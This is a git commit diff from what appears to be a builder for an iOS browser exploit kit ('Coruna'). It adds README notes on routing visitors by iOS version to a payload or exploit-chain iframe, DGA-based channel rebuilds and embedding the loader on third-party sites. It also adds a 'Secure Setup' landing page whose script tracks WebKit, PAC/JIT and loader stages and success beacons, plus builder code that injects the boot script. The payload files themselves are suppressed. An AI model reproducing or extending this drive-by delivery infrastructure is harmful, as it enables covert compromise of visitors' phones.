feat: old channel
This commit is contained in:
@@ -12,3 +12,14 @@ python3 -m venv .venv
|
||||
```
|
||||
|
||||
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
|
||||
|
||||
Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
|
||||
|
||||
Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
|
||||
|
||||
```bash
|
||||
php artisan coruna:repack # all builder_type=old
|
||||
php artisan coruna:repack <32-hex> # one
|
||||
php artisan coruna:repack --dry-run
|
||||
php artisan coruna:repack --template=test
|
||||
```
|
||||
|
||||
@@ -1,10 +1,14 @@
|
||||
# support.html templates
|
||||
|
||||
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
|
||||
Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
|
||||
|
||||
| Name | Source | Description |
|
||||
|------|--------|-------------|
|
||||
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
|
||||
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
|
||||
| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
|
||||
| `test` | `test.html` | Lab HUD + the same `index.js` |
|
||||
|
||||
Default is `test`.
|
||||
Both iframe landing and third-party `<script src="./index.js">` share that boot:
|
||||
|
||||
- iOS < 18 / unknown: load same-directory `payload.js`
|
||||
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
|
||||
- iOS 19+ / 26+: no action
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,588 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
||||
<title>Preparing…</title>
|
||||
<style>
|
||||
@import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
|
||||
:root {
|
||||
--bg0: #e8f1f7;
|
||||
--bg1: #f7fbfc;
|
||||
--ink: #123047;
|
||||
--muted: #5a7388;
|
||||
--line: #c5d6e4;
|
||||
--card: rgba(255, 255, 255, 0.72);
|
||||
--accent: #0b7ea4;
|
||||
--run: #c98512;
|
||||
--ok: #1f8a55;
|
||||
--bad: #c23b3b;
|
||||
--ring-size: min(72vw, 280px);
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html, body {
|
||||
margin: 0; min-height: 100%;
|
||||
color: var(--ink);
|
||||
font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
|
||||
background:
|
||||
radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
|
||||
linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
|
||||
}
|
||||
#lab-hud {
|
||||
position: relative; z-index: 2147483000;
|
||||
min-height: 100dvh;
|
||||
display: flex; flex-direction: column; align-items: center;
|
||||
justify-content: center;
|
||||
padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
|
||||
gap: 28px;
|
||||
}
|
||||
.brand {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: 13px; font-weight: 700; letter-spacing: .14em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.ring-wrap {
|
||||
position: relative;
|
||||
width: var(--ring-size); height: var(--ring-size);
|
||||
filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
|
||||
}
|
||||
.ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
|
||||
.ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
|
||||
.ring-fg {
|
||||
fill: none; stroke: var(--accent); stroke-width: 8;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 339.292; stroke-dashoffset: 0;
|
||||
transition: stroke .25s ease;
|
||||
}
|
||||
.ring-wrap.is-run .ring-fg { stroke: var(--run); }
|
||||
.ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
|
||||
.ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
|
||||
.ring-wrap.is-ticking .count {
|
||||
animation: count-beat 1s ease-in-out infinite;
|
||||
}
|
||||
@keyframes count-beat {
|
||||
0%, 100% { transform: scale(1); opacity: 1; }
|
||||
50% { transform: scale(1.04); opacity: .88; }
|
||||
}
|
||||
.ring-center {
|
||||
position: absolute; inset: 0;
|
||||
display: flex; flex-direction: column; align-items: center; justify-content: center;
|
||||
text-align: center; padding: 18px;
|
||||
}
|
||||
.count {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: clamp(52px, 16vw, 72px);
|
||||
font-weight: 700; line-height: 1; letter-spacing: -.03em;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.count-unit {
|
||||
margin-top: 2px; font-size: 12px; font-weight: 600;
|
||||
letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
#lab-status {
|
||||
margin-top: 10px; max-width: 18ch;
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
}
|
||||
.progress-panel {
|
||||
width: min(920px, 100%);
|
||||
background: var(--card);
|
||||
border: 1px solid rgba(197, 214, 228, .85);
|
||||
border-radius: 20px;
|
||||
padding: 18px 16px 16px;
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
|
||||
}
|
||||
.bar {
|
||||
height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
|
||||
}
|
||||
.bar > i {
|
||||
display: block; height: 100%; width: 0;
|
||||
border-radius: inherit;
|
||||
background: linear-gradient(90deg, #0b7ea4, #1f8a55);
|
||||
transition: width .4s ease;
|
||||
}
|
||||
.steps {
|
||||
list-style: none; margin: 16px 0 0; padding: 0;
|
||||
display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
|
||||
}
|
||||
.step {
|
||||
position: relative;
|
||||
display: flex; flex-direction: column; align-items: center; gap: 8px;
|
||||
text-align: center; min-width: 0;
|
||||
}
|
||||
.step:not(:last-child)::after {
|
||||
content: "";
|
||||
position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
|
||||
height: 2px; background: var(--line); z-index: 0;
|
||||
transition: background .3s ease;
|
||||
}
|
||||
.step.is-ok:not(:last-child)::after,
|
||||
.step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
|
||||
.dot {
|
||||
position: relative; z-index: 1;
|
||||
width: 28px; height: 28px; border-radius: 50%;
|
||||
display: grid; place-items: center;
|
||||
font-size: 11px; font-weight: 700;
|
||||
color: var(--muted); background: #fff;
|
||||
border: 2px solid var(--line);
|
||||
transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
|
||||
}
|
||||
.step .label {
|
||||
font-size: 11px; font-weight: 600; letter-spacing: .04em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.step .file {
|
||||
font-size: 10px; color: #8aa0b3; max-width: 100%;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.step.is-run .dot {
|
||||
color: #fff; background: var(--run); border-color: var(--run);
|
||||
transform: scale(1.06);
|
||||
animation: pulse 1.2s ease-in-out infinite;
|
||||
}
|
||||
.step.is-run .label { color: var(--run); }
|
||||
.step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
|
||||
.step.is-ok .label { color: var(--ok); }
|
||||
.step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
|
||||
.step.is-bad .label { color: var(--bad); }
|
||||
.step.is-ok .file, .step.is-run .file { color: var(--ink); }
|
||||
/* idle / not-yet-run: muted gray only */
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
|
||||
color: var(--muted); background: #fff; border-color: var(--line);
|
||||
}
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
|
||||
.device-model {
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
letter-spacing: .02em;
|
||||
}
|
||||
@keyframes pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
|
||||
50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ring-fg, .bar > i, .dot { transition: none; }
|
||||
.step.is-run .dot { animation: none; }
|
||||
.ring-wrap.is-ticking .count { animation: none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="lab-hud">
|
||||
<div class="brand">Secure Setup</div>
|
||||
|
||||
<div class="ring-wrap is-run" id="lab-ring-wrap">
|
||||
<svg viewBox="0 0 120 120" aria-hidden="true">
|
||||
<circle class="ring-bg" cx="60" cy="60" r="54"></circle>
|
||||
<circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
|
||||
</svg>
|
||||
<div class="ring-center">
|
||||
<div class="count" id="lab-count">15</div>
|
||||
<div class="count-unit">sec</div>
|
||||
<div id="lab-status">Starting…</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="progress-panel">
|
||||
<div class="bar"><i id="lab-bar"></i></div>
|
||||
<ol class="steps">
|
||||
<li class="step" data-stage="1" id="lab-s1">
|
||||
<span class="dot">1</span>
|
||||
<span class="label">WebKit</span>
|
||||
<span class="file" id="lab-f1">stage1</span>
|
||||
</li>
|
||||
<li class="step" data-stage="2" id="lab-s2">
|
||||
<span class="dot">2</span>
|
||||
<span class="label">PAC / JIT</span>
|
||||
<span class="file" id="lab-f2">stage2</span>
|
||||
</li>
|
||||
<li class="step" data-stage="3" id="lab-s3">
|
||||
<span class="dot">3</span>
|
||||
<span class="label">Loader</span>
|
||||
<span class="file" id="lab-f3">stage3</span>
|
||||
</li>
|
||||
<li class="step" data-stage="ok" id="lab-sok">
|
||||
<span class="dot">✓</span>
|
||||
<span class="label">Success</span>
|
||||
<span class="file" id="lab-fok">e=0</span>
|
||||
</li>
|
||||
</ol>
|
||||
</div>
|
||||
|
||||
<div class="device-model" id="lab-model">—</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var STAGE_MAP = {
|
||||
"98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
|
||||
"700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
|
||||
"3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
|
||||
"1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
|
||||
"40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
|
||||
"9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
|
||||
"b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
|
||||
"651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
|
||||
"291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
|
||||
"0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
|
||||
"0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
|
||||
"9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
|
||||
"ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
|
||||
};
|
||||
var PRIMARY = {
|
||||
"6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
|
||||
"054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
|
||||
"e406714e92671b5218496fcb6666734411cb2320": "0xf330",
|
||||
"694c829e379e12085de6158b85f32509f54f4796": "0xf240",
|
||||
"3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
|
||||
"6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
|
||||
"eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
|
||||
"6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
|
||||
"99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
|
||||
"c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
|
||||
"076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
|
||||
"62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
|
||||
"a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
|
||||
"f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
|
||||
};
|
||||
var SECONDARY = {
|
||||
"65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
|
||||
"7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
|
||||
"039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
|
||||
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
|
||||
"242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
|
||||
"347367155da44f3efcc9053337913061079610b9": "sec",
|
||||
"630c2b42300333d91588353d43afab9ec8325e09": "sec",
|
||||
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
|
||||
"743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
|
||||
"7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
|
||||
};
|
||||
|
||||
var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
|
||||
var files = { 1: null, 2: null, 3: null, p: null, s: null };
|
||||
var statusEl = document.getElementById("lab-status");
|
||||
var barEl = document.getElementById("lab-bar");
|
||||
var ringEl = document.getElementById("lab-ring");
|
||||
var ringWrap = document.getElementById("lab-ring-wrap");
|
||||
var countEl = document.getElementById("lab-count");
|
||||
var modelEl = document.getElementById("lab-model");
|
||||
var CIRC = 2 * Math.PI * 54;
|
||||
var TOTAL_SEC = 15;
|
||||
var startedAt = Date.now();
|
||||
var remain = TOTAL_SEC;
|
||||
var finished = false;
|
||||
var failed = false;
|
||||
var tickTimer = null;
|
||||
|
||||
ringEl.style.strokeDasharray = String(CIRC);
|
||||
ringEl.style.strokeDashoffset = "0";
|
||||
ringWrap.classList.add("is-ticking");
|
||||
|
||||
function log() {}
|
||||
|
||||
function setStepUi(n, kind) {
|
||||
var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
|
||||
var el = document.getElementById(id);
|
||||
if (!el) return;
|
||||
// Success node is never painted red — stays gray until real success (green ✓).
|
||||
if (n === "ok" && kind === "bad") kind = "idle";
|
||||
el.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
|
||||
var dot = el.querySelector(".dot");
|
||||
if (dot) {
|
||||
if (kind === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === 1 || n === 2 || n === 3) {
|
||||
if (kind !== "ok") dot.textContent = String(n);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function ringTone() {
|
||||
ringWrap.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (failed) ringWrap.classList.add("is-bad");
|
||||
else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
|
||||
else ringWrap.classList.add("is-run");
|
||||
}
|
||||
|
||||
function paintCountdown() {
|
||||
var elapsed = (Date.now() - startedAt) / 1000;
|
||||
remain = Math.max(0, TOTAL_SEC - elapsed);
|
||||
var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
|
||||
ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
|
||||
countEl.textContent = String(Math.max(0, Math.ceil(remain)));
|
||||
if (remain <= 0) ringWrap.classList.remove("is-ticking");
|
||||
else ringWrap.classList.add("is-ticking");
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function refreshBar() {
|
||||
var score = 0;
|
||||
if (state[1] === "ok") score += 1;
|
||||
if (state[2] === "ok") score += 1;
|
||||
if (state[3] === "ok") score += 1;
|
||||
if (state.p === "ok") score += 0.35;
|
||||
if (state.s === "ok") score += 0.35;
|
||||
if (state.ok === "ok") score = 4;
|
||||
if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
|
||||
state.p === "run" || state.s === "run")) score += 0.2;
|
||||
barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
|
||||
}
|
||||
|
||||
function setStage(n, kind, file, label) {
|
||||
if (!(n in state) && n !== "ok") return;
|
||||
if (state[n] === "ok" && kind === "run") return;
|
||||
// After e=0 success, ignore later pack noise that would re-color stages.
|
||||
if (finished && n !== "ok" && kind !== "ok") return;
|
||||
state[n] = kind;
|
||||
if (file && n !== "ok") {
|
||||
files[n] = file;
|
||||
if (n === 1 || n === 2 || n === 3) {
|
||||
var fe = document.getElementById("lab-f" + n);
|
||||
if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
|
||||
}
|
||||
// Pack progress belongs under Success, not Stage3.
|
||||
if ((n === "p" || n === "s") && !finished) {
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
|
||||
}
|
||||
}
|
||||
if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
|
||||
refreshBar();
|
||||
var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
|
||||
if (finished && n !== "ok") return;
|
||||
if (kind === "ok") statusEl.textContent = name + " ready";
|
||||
if (kind === "bad") {
|
||||
failed = true;
|
||||
statusEl.textContent = name + " failed";
|
||||
ringTone();
|
||||
}
|
||||
if (kind === "run") statusEl.textContent = "Loading " + name + "…";
|
||||
}
|
||||
|
||||
function markSuccess() {
|
||||
finished = true;
|
||||
failed = false;
|
||||
// e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
|
||||
[1, 2, 3].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStepUi(n, "ok");
|
||||
if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
|
||||
});
|
||||
if (state.p === "run") state.p = "ok";
|
||||
if (state.s === "run" || state.s === "idle") state.s = "ok";
|
||||
state.ok = "ok";
|
||||
setStepUi("ok", "ok");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=0";
|
||||
statusEl.textContent = "Complete";
|
||||
document.title = "Ready";
|
||||
barEl.style.width = "100%";
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function explainE(code) {
|
||||
if (code === "0") return "ok";
|
||||
if (code === "1000") return "exception";
|
||||
if (code === "1001") return "unsupported";
|
||||
if (code === "1002") return "stage3/native fail";
|
||||
if (code === "1003") return "gate fail";
|
||||
return "";
|
||||
}
|
||||
|
||||
function isResultBeacon(url) {
|
||||
var s = String(url);
|
||||
if (!/[?&]e=\d+/.test(s)) return false;
|
||||
if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
|
||||
if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
|
||||
try {
|
||||
var u = new URL(s, location.href);
|
||||
var path = u.pathname || "";
|
||||
if (/\/$/.test(path) && u.searchParams.has("e")) return true;
|
||||
if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
|
||||
} catch (err) {}
|
||||
return false;
|
||||
}
|
||||
|
||||
function onBeacon(url, ok) {
|
||||
if (!isResultBeacon(url)) return false;
|
||||
var em = String(url).match(/[?&]e=(\d+)/);
|
||||
if (!em) return false;
|
||||
var code = em[1];
|
||||
var note = explainE(code);
|
||||
statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
|
||||
log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
|
||||
" · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
|
||||
if (code === "0") {
|
||||
// Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
|
||||
[1, 2, 3, "p", "s"].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStage(n, "ok", files[n], null);
|
||||
});
|
||||
markSuccess();
|
||||
} else if (code === "1002" || code === "1000") {
|
||||
if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=" + code;
|
||||
ringTone();
|
||||
} else {
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok2 = document.getElementById("lab-fok");
|
||||
if (fok2) fok2.textContent = "e=" + code;
|
||||
ringTone();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function deviceModel() {
|
||||
var ua = navigator.userAgent || "";
|
||||
var plat = navigator.platform || "";
|
||||
var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
|
||||
? "iPhone"
|
||||
: /iPad/i.test(ua) || /iPad/i.test(plat)
|
||||
? "iPad"
|
||||
: /Macintosh|Mac OS X/i.test(ua)
|
||||
? "Mac"
|
||||
: (plat || "Device");
|
||||
var ver = ios
|
||||
? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
|
||||
: mac
|
||||
? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
|
||||
: "";
|
||||
return ver ? name + " · " + ver : name;
|
||||
}
|
||||
|
||||
function fillModel() {
|
||||
modelEl.textContent = deviceModel();
|
||||
}
|
||||
|
||||
function classify(url) {
|
||||
if (!url) return null;
|
||||
var s = String(url);
|
||||
if (isResultBeacon(s)) return { kind: "beacon", url: s };
|
||||
var min = s.match(/([0-9a-f]{40})\.min\.js/i);
|
||||
if (min) {
|
||||
var sh = min[1].toLowerCase();
|
||||
if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
|
||||
if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
|
||||
return { kind: "secondary", hash: sh, label: "min.js" };
|
||||
}
|
||||
var m = s.match(/([0-9a-f]{40})\.js/i);
|
||||
if (!m) return null;
|
||||
var hash = m[1].toLowerCase();
|
||||
if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
|
||||
if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
|
||||
var info = STAGE_MAP[hash];
|
||||
if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
|
||||
return null;
|
||||
}
|
||||
|
||||
function onModule(url, ok) {
|
||||
var hit = classify(url);
|
||||
if (!hit) return;
|
||||
if (hit.kind === "beacon") {
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "primary") {
|
||||
setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "secondary") {
|
||||
setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "stage") {
|
||||
if (hit.stage === 0) {
|
||||
log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
|
||||
" (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (ok && hit.stage === 3) {
|
||||
if (state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (state[2] === "idle") setStage(2, "ok", files[2], null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var XO = XMLHttpRequest.prototype.open;
|
||||
var XS = XMLHttpRequest.prototype.send;
|
||||
XMLHttpRequest.prototype.open = function (method, url) {
|
||||
this.__labUrl = url;
|
||||
var hit = classify(url);
|
||||
if (hit) {
|
||||
if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
|
||||
else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
|
||||
}
|
||||
return XO.apply(this, arguments);
|
||||
};
|
||||
XMLHttpRequest.prototype.send = function () {
|
||||
var xhr = this;
|
||||
xhr.addEventListener("loadend", function () {
|
||||
var ok = xhr.status === 200 || xhr.status === 0;
|
||||
if (xhr.status === 0 && xhr.response != null) ok = true;
|
||||
if (xhr.status >= 400) ok = false;
|
||||
var u = xhr.__labUrl;
|
||||
if (u && isResultBeacon(u)) {
|
||||
onBeacon(u, true);
|
||||
return;
|
||||
}
|
||||
onModule(u, ok && xhr.status !== 404);
|
||||
});
|
||||
return XS.apply(this, arguments);
|
||||
};
|
||||
|
||||
var armed = false;
|
||||
setInterval(function () {
|
||||
// e=0 may land before secondary is requested; never fail packs after success.
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
if (!armed) {
|
||||
armed = true;
|
||||
setTimeout(function () {
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
setStage("s", "bad", null, "no request");
|
||||
statusEl.textContent = "Primary ok · secondary never requested";
|
||||
log("timeout · no secondary .min.js after primary");
|
||||
}
|
||||
}, 4000);
|
||||
}
|
||||
}
|
||||
}, 500);
|
||||
|
||||
// Independent of stage success/fail — always ticks until 15s elapses.
|
||||
tickTimer = setInterval(function () {
|
||||
paintCountdown();
|
||||
if (remain <= 0) {
|
||||
clearInterval(tickTimer);
|
||||
tickTimer = null;
|
||||
ringWrap.classList.remove("is-ticking");
|
||||
}
|
||||
}, 200);
|
||||
|
||||
fillModel();
|
||||
paintCountdown();
|
||||
statusEl.textContent = "Preparing stages…";
|
||||
window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -38,6 +38,11 @@ from _common import (
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
|
||||
SUPPORT_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
||||
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
|
||||
HIT_MARKER = "data-pv"
|
||||
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
|
||||
|
||||
|
||||
def load_hit_js() -> str:
|
||||
if not HIT_JS_PATH.is_file():
|
||||
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
|
||||
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
|
||||
|
||||
|
||||
def ensure_hit_beacon(support_html: Path) -> None:
|
||||
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if HIT_MARKER in text:
|
||||
return
|
||||
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
|
||||
lower = text.lower()
|
||||
idx = lower.rfind("</head>")
|
||||
if idx >= 0:
|
||||
text = text[:idx] + block + text[idx:]
|
||||
else:
|
||||
# Fallback: prepend after <html...> or at start.
|
||||
html_idx = lower.find("<html")
|
||||
if html_idx >= 0:
|
||||
gt = text.find(">", html_idx)
|
||||
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
|
||||
else:
|
||||
text = "<head>\n" + block + "</head>\n" + text
|
||||
support_html.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
||||
template = normalize_support_template(template)
|
||||
dest = campaign_dir / "support.html"
|
||||
if template == "test":
|
||||
if not dest.is_file():
|
||||
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
||||
return
|
||||
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
||||
